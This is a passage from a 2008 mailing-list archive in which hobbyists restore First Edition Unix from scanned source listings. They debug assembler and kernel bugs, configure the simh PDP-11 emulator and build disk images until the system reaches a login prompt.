now. Btw, I built from latest sources and installed into simh and ran and got some action on rf0 but I don't see any non-zero bytes in the image after running. It ended up in panic. Is it possible you have some changes that arent checked in? I am using the clean sources with the addition of "read" in sys1.s, an extra line of "4;4;unkni;0;fpsym;0" in u0.s and "cold = 1" instead of zero. My simh config is: set cpu 11/20 set cpu 32K set rk3 enabled att rk3 rk0.dsk set rf 2p set rf enabled attach rf rf0.dsk set tc enabled att tc tape.tc set hk disabled set rha disabled set tm disabled set rx disabled set rl disabled set tq disabled set tc enabled set rf enabled set ke enabled set cpu history=1000 d pc 400 [... lots of lines to deposit a.out into memory...] I built as "as - sys1.s u?.s". I run with "go" and then after the first halt "go" again. Hitting ^E after waiting a while shows that its looping in panic. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 04:50:08 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 14:50:08 -0400 Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> Message-ID: <20651.1209754208@mini> Tim Newsham wrote: > >There was previously a "read:" in u6.s, but it turned out to be >a typo for "readi". I think its safe to use "read" now. ah ok, thanks. >Btw, I built from latest sources and installed into simh and >ran and got some action on rf0 but I don't see any non-zero bytes >in the image after running. It ended up in panic. Is it possible >you have some changes that arent checked in? I don't think so, but I'll check. I think all I did was set cold=1 and rebuilt. Make sure you use my "eae" version of simh. I'm building with the v7 asm and using "ml" to process the a.out >I am using the clean sources with the addition of "read" in sys1.s, >an extra line of "4;4;unkni;0;fpsym;0" in u0.s and "cold = 1" instead >of zero. yes, that seems right. >set cpu 11/20 >set cpu 32K >set rk3 enabled >att rk3 rk0.dsk >set rf 2p >set rf enabled >attach rf rf0.dsk >set tc enabled >att tc tape.tc >set hk disabled >set rha disabled >set tm disabled >set rx disabled >set rl disabled >set tq disabled >set tc enabled >set rf enabled >set ke enabled >set cpu history=1000 >d pc 400 >[... lots of lines to deposit a.out into memory...] That looks ok. I don't have tc setup, but that should not matter. >I built as "as - sys1.s u?.s". same here, but I don't add the "-" (not sure what that does) >I run with "go" and then after the first halt "go" again. Hitting >^E after waiting a while shows that its looping in panic. Try "det rf". I noticed that the RF device is buffered in ram and I'm not sure it gets flushed until you detach. -brad From newsham at lava.net Sat May 3 04:59:53 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 08:59:53 -1000 (HST) Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: <20651.1209754208@mini> References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> <20651.1209754208@mini> Message-ID: >> I built as "as - sys1.s u?.s". > > same here, but I don't add the "-" (not sure what that does) I tried without the dash and with the "det rf" and now I'm getting an rf0 image. The dash is supposed to ignore unresolved symbols. (I added my assemv7 script to tools for building with the v7 "as" using apout) btw, what do we have to do about fpsym? > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 05:01:32 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 15:01:32 -0400 Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> <20651.1209754208@mini> Message-ID: <20903.1209754892@mini> Tim Newsham wrote: > >btw, what do we have to do about fpsym? I think we can ignore it for now (or just stub it out). It's just for floating point emulation near as I can tell, which I don't think we'll need for init & sh. -brad From newsham at lava.net Sat May 3 05:06:59 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 09:06:59 -1000 (HST) Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: <20903.1209754892@mini> References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> <20651.1209754208@mini> <20903.1209754892@mini> Message-ID: Btw, the file it tries to run at the end of u0.s's init is [sic]. I entered the name as it appeared in the printout, but its likely a typo -- have you tried running with this fixed? Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 06:35:18 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 16:35:18 -0400 Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> <20651.1209754208@mini> <20903.1209754892@mini> Message-ID: <21945.1209760518@mini> Tim Newsham wrote: >Btw, the file it tries to run at the end of u0.s's init is > [sic]. I entered the name as it appeared in the >printout, but its likely a typo -- have you tried running with >this fixed? yes, I tried it but no effect. I don't think it's getting that far to be honest. if it where, I'd expect it to hang trying to read the dectape. but I didn't really look, maybe it errors out and does try it. -brad From newsham at lava.net Sat May 3 07:03:01 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 11:03:01 -1000 (HST) Subject: [Unix-jun72] ... in case you wanted to play along. Message-ID: Here's the current status on how to use the files: - svn to the latest version - install v7 binaries somewhere (ie /tmp/v7) - install apout somewhere (ie /tmp/apout2.3alpha2) - update paths in tools/assemv7 - compile tools/ml.c into tools/ml - build simh's pdp11 emulator using brad's patches at http://www.unlambda.com/download/pdp11/unix-jun72/KE.diff install into tools/pdp11 - run ./tools/assemv7 to make files in build/* - run ./simh.cfg to run the emulator - type "go" to start it - type "go" at the first halt to continue writing over your rf0 disk - after waiting for a while, type control-e and then "det rf" and then "quit" - you should now have some data written over your rf0.dsk image. Next steps: - continue debugging the cold boot process. This should eventually let us install a full root disk image from the kernel and a tape construct with 1972_stuff s2 /bin and /etc files. - get a working mkfs and use it to build and populate the rk03 disk with the 1972_stuff s2 /usr files. - continue debugging the kernel to boot the rf0 disk and mount the rk03 disk on /usr. Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 07:04:33 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 17:04:33 -0400 Subject: [Unix-jun72] some progress In-Reply-To: <21945.1209760518@mini> Message-ID: <22705.1209762273@mini> Apparently this instruction: mov $[systm-inode]\/2,sb0+4 / sets up initial buffers per is not doing the right thing. I have not looked closely yet, but it should put -109. in the sb0+4, but instead it puts a large positive number. This is the top of the buffer, which has a WC and address in it; and it's used to read the superblock from the RF. anyway, when I change it to: mov $-109.,sb0+4 things work much better. I have run to a baseball game (little league :-) but I'll retry the cold=1 later tonight; it may work better. -brad From newsham at lava.net Sat May 3 07:34:13 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 11:34:13 -1000 (HST) Subject: [Unix-jun72] some progress In-Reply-To: <22705.1209762273@mini> References: <22705.1209762273@mini> Message-ID: > mov $[systm-inode]\/2,sb0+4 / sets up initial buffers per hmm, thats quite irritating. It's computing $[systm-inode] to be 0177446 (correct) and then doing an unsigned divide by two to get 077623 instead of a signed divide by two to get 177623. I verified that the v2 assembler behaves differently. I can't think of a quick fix here... > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From jam at magic.com Sat May 3 09:51:09 2008 From: jam at magic.com (James A. Markevitch) Date: Fri, 2 May 2008 16:51:09 -0700 (PDT) Subject: [Unix-jun72] UNIX running up to init, I think Message-ID: <200805022351.QAA22591@mist.magic.com> Hey guys. I saw the thread about the assembler doing divide by 2 the wrong way. I took a look at my assembler and it had a similar bug. I fixed my assembler, then ran the code again. It correctly writes the RF11 image (as best as I can tell), then reads /etc/init into the user area and executes it. I left the TC11 disabled on my run and it panics when /etc/init tries to read the tape. To double-check, I ran the warm boot and it successfully gets into the /etc/init user code as well, so I'm pretty confident the image is right. As far as I can tell, the source code I sent out this morning has no problems. Most likely, you guys are fighting assembler and/or other tool issues. I'll cobble together a bootable RF11 image (assuming that there really are no kernel problems) and send out a copy of that. Once everyone has that, they should be able to continue generating tapes and RK03 images of other executables, etc. I can include a copy of the assembler listing file for both warm and cold boots so that everyone can have a reference while they are debugging. I've also got the M792 boot (from the documentation) as well as an untested bos.s. If those work, then the RF11 image I send out will be pretty close to authentic. Otherwise, you will still need to load the kernel into core with the "load" command. James Markevitch From newsham at lava.net Sat May 3 10:06:50 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 14:06:50 -1000 (HST) Subject: [Unix-jun72] UNIX running up to init, I think In-Reply-To: <200805022351.QAA22591@mist.magic.com> References: <200805022351.QAA22591@mist.magic.com> Message-ID: > It correctly writes the RF11 image (as best as I can tell), then reads > /etc/init into the user area and executes it. I left the TC11 disabled > on my run and it panics when /etc/init tries to read the tape. *nod* we're running up to init in the cold boot kernel and getting into the code that reads the 65th block off the tape. At this point we only get 1 byte of data into the read buffer, though. (not sure if this is due to simh, the kernel or some other issue). to work around the asembler divide issue I had to sed the source during build time. These hacks are all incorporated into the tools/assemv7 script. it might be fun to try to use Warren's mkfs.c program to preload the root disk and boot warm with it. > James Markevitch Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 11:03:48 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 21:03:48 -0400 Subject: [Unix-jun72] UNIX running up to init, I think In-Reply-To: References: <200805022351.QAA22591@mist.magic.com> Message-ID: <25892.1209776628@mini> Some debugging in simh makes it look like attaching the raw file (512 byte blocks) is correct and simh is geting the data: >>DT0: read block 65 forward ba 40400, data 1672, pos 152927 ba 40401, data 164755, pos 152933 ba 40402, data 72145, pos 152939 ba 40403, data 27543, pos 152945 ba 40404, data 67151, pos 152951 ba 40405, data 72151, pos 152957 ba 40406, data 0, pos 152963 ba 40407, data 0, pos 152969 ba 40410, data 0, pos 152975 ba 40411, data 0, pos 152981 that matches the contents of my files. but it doesn't seem like the dma is making it to userland. Perhaps it's getting into the kernel buffer but not the user buffer. I just copied the sysread code verbatim and didn't look at the closely. I'll do more debugging tomorrow. Seems like we're closing in. (hmm. just noticed that ba 40400 != 40222) -brad From wkt at tuhs.org Sat May 3 11:39:20 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 11:39:20 +1000 Subject: [Unix-jun72] ... in case you wanted to play along. In-Reply-To: References: Message-ID: <20080503013920.GA34874@minnie.tuhs.org> On Fri, May 02, 2008 at 11:03:01AM -1000, Tim Newsham wrote: > Here's the current status on how to use the files: > > - svn to the latest version > - install v7 binaries somewhere (ie /tmp/v7) > - install apout somewhere (ie /tmp/apout2.3alpha2) > - update paths in tools/assemv7 Tim, a small suggestion, could you modify assemv7 to source a config file at the top, e.g: # settings: insert lines similar to these in your config file # APOUT=/usr/home/wkt/.bin/apout # APOUT_ROOT=/usr/local/src/V7 # COLD=1 # . tools/assemv7.cfg so that we don't have to modify the script that comes out of svn, but we can edit a separate file which isn't in the svn repository. That'd be great! Thanks, Warren From newsham at lava.net Sat May 3 11:41:26 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 15:41:26 -1000 (HST) Subject: [Unix-jun72] UNIX running up to init, I think In-Reply-To: <25892.1209776628@mini> References: <200805022351.QAA22591@mist.magic.com> <25892.1209776628@mini> Message-ID: > but it doesn't seem like the dma is making it to userland. Perhaps it's > getting into the kernel buffer but not the user buffer. I just copied > the sysread code verbatim and didn't look at the closely. > > I'll do more debugging tomorrow. Seems like we're closing in. There was a missing branch instruction when copying from kernel buffer to userland buffer on page e08-02. I added the branch and a note about it and committed. (without the branch it will only ever copy one byte to userland). Now my cold boot is writing files off the tape onto the rk0 image. > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sat May 3 11:46:39 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 15:46:39 -1000 (HST) Subject: [Unix-jun72] ... in case you wanted to play along. In-Reply-To: <20080503013920.GA34874@minnie.tuhs.org> References: <20080503013920.GA34874@minnie.tuhs.org> Message-ID: > Tim, a small suggestion, could you modify assemv7 to source a config file > at the top, e.g: good idea. done. Btw, feel free to alter any of the tools. I don't want people to feel like I'm the only one allowed to touch them. I also made the "cold" option a command line option. Running "assemv7 cold" will give you a "cold" kernel. Runing "assemv7" will give you a normal kernel. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Sat May 3 11:53:21 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 11:53:21 +1000 Subject: [Unix-jun72] ... in case you wanted to play along. In-Reply-To: References: Message-ID: <20080503015321.GA35705@minnie.tuhs.org> On Fri, May 02, 2008 at 11:03:01AM -1000, Tim Newsham wrote: > Here's the current status on how to use the files: .... > - run ./simh.cfg to run the emulator > - type "go" to start it > - type "go" at the first halt to continue writing over your rf0 disk > - after waiting for a while, type control-e and then "det rf" and > then "quit" > - you should now have some data written over your rf0.dsk image. I've done this, and now have an rf0.dsk which I can use to compare against the output of my mkfs. I tried validating the image with V1 check: apout /usr/local/src/V1/bin/check rf0.dsk Lots of inode errors, but at least check thinks there are files: . . . 5535 bad; i = 498i 5535 bad; i = 498i 81 files 81 large 552 indirect 552 used 255 dup; i = 0f 647 free 343 missing So things are progressing! I wish the docs were more informative as to how to understand the output of check. Cheers, Warren From newsham at lava.net Sat May 3 11:55:13 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 15:55:13 -1000 (HST) Subject: [Unix-jun72] ... in case you wanted to play along. In-Reply-To: References: Message-ID: To build a rf image using the cold boot: - svn update to the latest. - run "tools/assemv7 cold" to make a cold image - run "./simh.cfg" - "break 40160" this is the "close" syscall at the end of processing the tape - "go" - "go" again if you're sure you want to overwrite your rf image - after a few seconds you're at 40160 and your disk is made. if you "go" again it will run /etc/init but you will get no output. I think we need the DC-11 for this. at this point you should be able to run a normal kernel with - "tools/assemv7" to make a normal kernel - run "./simh.cfg" - "go" but you won't see any output and I havent verified that it's doing anything useful yet. Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Sat May 3 12:25:54 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 12:25:54 +1000 Subject: [Unix-jun72] ... in case you wanted to play along. In-Reply-To: References: Message-ID: <20080503022554.GA36595@minnie.tuhs.org> On Fri, May 02, 2008 at 03:55:13PM -1000, Tim Newsham wrote: > To build a rf image using the cold boot: > - svn update to the latest. > - run "tools/assemv7 cold" to make a cold image > - run "./simh.cfg" > - "break 40160" this is the "close" syscall at the end of > processing the tape > - "go" > - "go" again if you're sure you want to overwrite your rf image Don't forget to "det rf" and "quit" to make sure the rf0.dsk image is written out correctly. V1 check gives this output on the above rf0.dsk image: 62 files 62 large 322 indirect 9976 used 406 free 552 missing but that's skipping the bad/dup i messages. Cheers, Warren From newsham at lava.net Sat May 3 13:23:09 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 17:23:09 -1000 (HST) Subject: [Unix-jun72] login prompt! Message-ID: The tape I made earlier didnt properly preserve the permissions so booting failed to exec /etc/init (had no exec bit set). I fixed my tape builder to get the permissions from the old Readme file and regenerated a tape.. The good news: login prompt! I just built rf0 in the usual way, then rebuilt a warm kernel and booted it. Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Sat May 3 13:25:00 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 17:25:00 -1000 (HST) Subject: [Unix-jun72] login prompt! In-Reply-To: References: Message-ID: > The good news: login prompt! $ ./simh.cfg PDP-11 simulator V3.7-3 ./simh.cfg> #!tools/pdp11 Unknown command Disabling CR Disabling XQ RF: buffering file in memory TC0: 16b format, buffering file in memory sim> go :login: root root # No command # ls No command # /bin/ls bin dev etc tmp usr # have to use control-j to enter commands. Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Sat May 3 13:36:19 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 13:36:19 +1000 Subject: [Unix-jun72] login prompt! In-Reply-To: References: Message-ID: <20080503033619.GA38502@minnie.tuhs.org> On Fri, May 02, 2008 at 05:25:00PM -1000, Tim Newsham wrote: > > The good news: login prompt! Yay, it works! :login: root root # ls -l total 6 43 sdrwr- 2 bin 620 Jan 1 00:00:00 bin 42 sdrwr- 2 sys 250 Jan 1 00:00:00 dev 44 sdrwr- 2 bin 110 Jan 1 00:00:00 etc 46 sdrwrw 2 sys 30 Jan 1 00:00:00 tmp 45 sdrwr- 2 sys 20 Jan 1 00:00:00 usr # chdir bin # date Fri Jan 1 00:00:24 Amazing work from all of you! Congrats, Warren From wkt at tuhs.org Sat May 3 13:47:47 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 13:47:47 +1000 Subject: [Unix-jun72] login prompt! In-Reply-To: References: Message-ID: <20080503034747.GA38902@minnie.tuhs.org> On Fri, May 02, 2008 at 05:25:00PM -1000, Tim Newsham wrote: > > The good news: login prompt! And also, check gives good results: # check RF: 116 files 6 large 6 indirect 249 used 405 free 336 missing RK: [ it dies here, as empty disk image ] I think I know the problem why check was not working via Apout. Here's a comment from the CHANGES file: 2.3 Alpha2: to 10th Jan 2000 ---------------------------- Added code to support 512-byte block seeks on /dev files for 1st Edition binaries. This was required to get tap(1) to work. This should really only force 512-byte seeks on specific /dev/files, not all of them. So I suspect that check is doing something with seeks that I am not dealing with correctly in Apout. Cheers, Warren From newsham at lava.net Sat May 3 13:47:47 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 17:47:47 -1000 (HST) Subject: [Unix-jun72] login prompt! In-Reply-To: <20080503033619.GA38502@minnie.tuhs.org> References: <20080503033619.GA38502@minnie.tuhs.org> Message-ID: > Yay, it works! Its not easy to think of what's next in the excitement, but here goes a shot: - I don't see any mount utility in the s2 bits, we'll need one. - we should get the /usr stuff onto the rk03 disk and get it mounted - we should see how hard it is to get the serial ttys working. It sounds like getting a hack working in simh might not be too hard, but to get it integrated back in they probably want something robust. Perhaps having 1ed around will give someone the motivation to get dc11 support in simh? - I thought "as" wouldn't work, but it seems to be trying to run it. If possible we should investigate what is necessary to get the system to build its own kernel and its own tape. - we should investigate the original boot process and see how much of it would be possible to restore and determine if its worth the effort. - there's a bunch of file fragments in the 1972_stuff that might prove useful. It sounds like Warren has started to think about how to triage these. This might be a bit of effort. - at some point we should probably put together some kind of package for others who want to run the system in simh. I'm not really sure what this should look like and perhaps its a bit early to talk about it... Maybe two sets - a set of rf0 and rk0 images with a kernel that can run instantly, and a set with a cold kernel, a normal kernel and a tape image? any thoughts? anything I missed? Tim Newsham http://www.thenewsh.com/~newsham/ From imp at bsdimp.com Sat May 3 14:12:59 2008 From: imp at bsdimp.com (Warner Losh) Date: Fri, 02 May 2008 22:12:59 -0600 (MDT) Subject: [Unix-jun72] login prompt! In-Reply-To: References: Message-ID: <20080502.221259.74661438.imp@bsdimp.com> From: Tim Newsham Subject: Re: [Unix-jun72] login prompt! Date: Fri, 2 May 2008 17:25:00 -1000 (HST) > > The good news: login prompt! > > $ ./simh.cfg > > PDP-11 simulator V3.7-3 > ./simh.cfg> #!tools/pdp11 > Unknown command > Disabling CR > Disabling XQ > RF: buffering file in memory > TC0: 16b format, buffering file in memory > sim> go > > :login: root > root > # No command > # ls > No command > # /bin/ls > bin > dev > etc > tmp > usr > # So when did the PATH variable get introduced? Warner From wkt at tuhs.org Sat May 3 14:45:19 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 14:45:19 +1000 Subject: [Unix-jun72] PATH variable In-Reply-To: <20080502.221259.74661438.imp@bsdimp.com> References: <20080502.221259.74661438.imp@bsdimp.com> Message-ID: <20080503044519.GA43894@minnie.tuhs.org> On Fri, May 02, 2008 at 10:12:59PM -0600, Warner Losh wrote: > So when did the PATH variable get introduced? The 1e manual says: If the 1st argument represents the path name of an executable file, it is invoked; otherwise the string "/bin/" is prepended to the argument. In this way the standard commands, which reside in "/bin" are found. The 3e manual extends the above: If no such command is found, the string "/usr" is further prepended (to give "/usr/bin/command") and another attempt is made to execute the resulting file. (Certain "overflow" commands live in "/usr/bin".) If the "/usr/bin" file exists, but is not executable, it is used by the shell as a command file. That is to say it is executed as though it were typed from the console. Manuals for 4e, 5e and 6e all say the above. The 7th Edition manual is the first to say: The shell parameter $PATH defines the search path for the directory containing the command. Each alternative directory name is separated by a colon (:) The default path is :/bin:/usr/bin. If the command name contains a / then the search path is not used. Otherwise, each directory in the path is searched for an executable file. If the file has execute permission but is not an a.out file, it is assumed to be a file containing shell commands. Cheers, Warren From wkt at tuhs.org Sat May 3 14:51:24 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 14:51:24 +1000 Subject: [Unix-jun72] What next? In-Reply-To: References: <20080503033619.GA38502@minnie.tuhs.org> Message-ID: <20080503045124.GA45430@minnie.tuhs.org> On Fri, May 02, 2008 at 05:47:47PM -1000, Tim Newsham wrote: > Its not easy to think of what's next in the excitement, but here goes > a shot... any thoughts? anything I missed? I have a few. Given we have some 2nd Edition 0407 binaries, and also the first C compiler source code http://www.tuhs.org/Archive/Applications/Early_C_Compilers/ can recompile itself down to a 2nd Edition binary, and we have some C code fragments for 2nd Edition, I would like to see the 1st Edition kernel modified just enough to be able to run the 0407 binaries. That would make most of the "early stuff" executable again. Warren P.S Using the rf0.dsk image to get my homegrown mkfs working. More later. From wkt at tuhs.org Sat May 3 14:56:16 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 14:56:16 +1000 Subject: [Unix-jun72] replacing mount.s In-Reply-To: References: <20080503033619.GA38502@minnie.tuhs.org> Message-ID: <20080503045616.GA45591@minnie.tuhs.org> On Fri, May 02, 2008 at 05:47:47PM -1000, Tim Newsham wrote: > - I don't see any mount utility in the s2 bits, we'll need one. The asm code to init.s is here: http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag2.html sys mount; rk1; usr sys mount; rk2; ssys sys mount; rk3; crp rk1: rk2: rk3: usr: ssys: crp: Looks like we can use it to write a simple mount.s. Warren From wkt at tuhs.org Sat May 3 18:48:17 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 18:48:17 +1000 Subject: [Unix-jun72] Missing commands Message-ID: <20080503084817.GA51986@minnie.tuhs.org> I thought I would quickly make a list of commands we have, commands that are missing, and out-of-the-ordinary commands. Below, if a command has no comment, it's a V1 command that we have. Notes follow. I have not tried to list the missing /etc and /usr/... commands yet. /bin ---- : V2 cmd, 0405 binary ar as V2 binary b missing bas bcd missing boot missing cal cat cc V2 binary chball ? no idea check chmod chown cmp cp date db dbppt missing dc df ds V2 binary dsw dtf missing du echo V2 cmd, 0405 binary ed exit V2 cmd, 0405 binary fc V2 binary find V2 binary form goto V2 cmd, 0405 binary hup missing if V2 cmd, 0405 binary lbppt missing ld V2 binary ln login V2 cmd, 0405 binary ls mail maki V2 binary mesg mkdir mkfs mount mv nm V2 binary od pr rew rkd missing rkf missing rkl missing rm rmdir roff sdate missing sh size V2 binary skip ? no idea sort stat strip V2 binary stty V2 cmd, 0405 binary su sum tap tm tty type un V2 binary wc who write /etc ---- as2 V2 binary getty V2 cmd, 0405 binary glob init msh suftab uids I have a quote from dmr somewhere (I can't find it), but to paraphrase: early UNIX was under a constant state of development. We would tidy up now and then, write a new manual, then get back to development. The 1st Edition UNIX manual is dated November 3, 1971. The 2nd Edition UNIX manual is dated June 12, 1972. 1st Edition (1e) only used 0405 a.out files. 2nd Edition (2e) only used 0407 a.out files. I would guess that the executables that we have from the s2 tape are from a snapshot halfway between 1e and 2e, and at that point in time the kernel could execute both varieties. This would explain why some V2 commands are 0405 style, and some are 0407 style. Despite the dates on the PDF commentary where we got the kernel source, the kernel has to be around 1e, not much later. The kernel only knows about 0405 a.out files, and is missing all of the system calls new to 2e: hog, kill, makdir (renamed from 1e mkdir), smdate and sync. So: kernel is around 1e, Nov 1971 or close; executables are somewhere between 1e and 2e, but before June 1972 as we have 0405 and 0407 ones. Cheers, Warren From brad at heeltoe.com Sat May 3 20:22:28 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 06:22:28 -0400 Subject: [Unix-jun72] login prompt! In-Reply-To: References: <20080503033619.GA38502@minnie.tuhs.org> Message-ID: <31222.1209810148@mini> Tim - I think the "divide by 2 sign extention" problem is still in the svn tree (so anyone trying to reproduce it will fail). I'll try and fix the sed script to clean that up. / mov $[systm-inode]\/2,sb0+4 / sets up initial buffers per mov $-191.,sb0+4 / sets up initial buffers per maybe sX[systm-inode]\/2X-191.X might work with that fix I get a login prompt from the cold kernel! woo hoo! -brad From brad at heeltoe.com Sat May 3 21:23:45 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 07:23:45 -0400 Subject: [Unix-jun72] Missing commands In-Reply-To: <20080503084817.GA51986@minnie.tuhs.org> References: <20080503084817.GA51986@minnie.tuhs.org> Message-ID: <32409.1209813825@mini> Warren Toomey wrote: >I thought I would quickly make a list of commands we have, commands that >are missing, and out-of-the-ordinary commands. Below, if a command has >no comment, it's a V1 command that we have. Notes follow. I have not tried >to list the missing /etc and /usr/... commands yet. > ... >mkfs Where is this? I don't have it in my v2 bits. Like to try it on the rk. -brad From wkt at tuhs.org Sat May 3 21:39:11 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 21:39:11 +1000 Subject: [Unix-jun72] Missing commands In-Reply-To: <32409.1209813825@mini> References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini> Message-ID: <20080503113911.GB83393@minnie.tuhs.org> On Sat, May 03, 2008 at 07:23:45AM -0400, Brad Parker wrote: > >mkfs > Where is this? I don't have it in my v2 bits. Like to try it on the rk. > -brad Whups, that should have been marked as missing, sorry. Warren From wkt at tuhs.org Sat May 3 22:31:47 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 22:31:47 +1000 Subject: [Unix-jun72] Missing commands In-Reply-To: <1041.1209816979@mini> References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini> <20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini> <20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini> Message-ID: <20080503123147.GA84379@minnie.tuhs.org> On Sat, May 03, 2008 at 08:16:19AM -0400, Brad Parker wrote: > The simh setup was wrong; you need to use > > set rk0 enabled > attach rk0 rk3.dsk > > Once I did that I could check the image I made with your program. I have > not mounted it yet, however. It checks fine. > > Tim - where did you get the files you used to make your tape image? Can > you tar up that directory and check it in? I can't find init anywhere. > I must be confused. On the s2 tape in /etc/init. Thanks Brad. Warren From wkt at tuhs.org Sat May 3 22:42:47 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 22:42:47 +1000 Subject: [Unix-jun72] Missing commands In-Reply-To: <20080503123147.GA84379@minnie.tuhs.org> References: <20080503084817.GA51986@minnie.tuhs.org> <32409.1209813825@mini> <20080503113911.GB83393@minnie.tuhs.org> <345.1209815083@mini> <20080503121126.GA83961@minnie.tuhs.org> <1041.1209816979@mini> <20080503123147.GA84379@minnie.tuhs.org> Message-ID: <20080503124247.GA84612@minnie.tuhs.org> On Sat, May 03, 2008 at 08:16:19AM -0400, Brad Parker wrote: > The simh setup was wrong; you need to use > > set rk0 enabled > attach rk0 rk3.dsk and #set rk3 enabled #att rk3 rk0.dsk I'm attaching my latest mkfs.c. It makes RF images fine, but for some reason I can't make a working RK image bigger than 2165 blocks. I must be overflowing something on the image. Cheers, Warren -------------- next part -------------- A non-text attachment was scrubbed... Name: mkfs.c.gz Type: application/x-gunzip Size: 5003 bytes Desc: not available URL: From wkt at tuhs.org Sat May 3 22:46:26 2008 From: wkt at tuhs.org (Warren Toomey) Date: Sat, 3 May 2008 22:46:26 +1000 Subject: [Unix-jun72] Change to mail list behaviour Message-ID: <20080503124626.GA84693@minnie.tuhs.org> After e-mailing a reply about 6 times today and it going to the original poster, instead of the mailing list where I wanted it to go, I have decided to change the behaviour of the unix-jun72 at tuhs.org list. Replies will now go back to the list, not the poster. It's an arbitrary decision; if you disklike it, let me know. If most of you prefer it the other way, I'll switch it back! Good night, Warren From brad at heeltoe.com Sun May 4 00:35:47 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 10:35:47 -0400 Subject: [Unix-jun72] mount woes Message-ID: <2901.1209825347@mini> I wrote this: exit = 1. mount = 21. sys mount; rk0; usr sys exit rk0: usr: And tried to assemble it with /bin/as, but it's a 407 exec and it didn't work (core dump, created odd files) So, I built it with apout & as like this: apout /backup/raid2/pdp11/v7/bin/as ./mount.s # reconsruct v1 0405 a.out header echo -e '\005' >mount dd if=a.out of=mount bs=1 skip=1 seek=1 count=11 dd if=a.out of=mount bs=1 skip=16 seek=12 And it runs, but nothing happens. I have not debugged it much. Wish we had a working v1 as. -brad From jam at magic.com Sun May 4 02:21:54 2008 From: jam at magic.com (James A. Markevitch) Date: Sat, 3 May 2008 09:21:54 -0700 (PDT) Subject: [Unix-jun72] Minor bug in sources e09-07 Message-ID: <200805031621.JAA00583@mist.magic.com> I downloaded the stuff from the svn, got it to build, then did a cmp -l on the load file from my assembler vs. the one built from the svn tree. There is a bug in the svn sources on page e09-07, near the bottom. The call to sleep should read: jsr r0,sleep; 0:.. Note that there should be a colon, not a semi-colon after the 0. Presumably, this code was never executed, else it would have resulted in a halt. After I made that fix, a build from the svn tree is identical to that from my assembler. James Markevitch From brad at heeltoe.com Sun May 4 03:26:00 2008 From: brad at heeltoe.com (Brad Parker) Date: Sat, 03 May 2008 13:26:00 -0400 Subject: [Unix-jun72] Minor bug in sources e09-07 In-Reply-To: <200805031621.JAA00583@mist.magic.com> References: <200805031621.JAA00583@mist.magic.com> 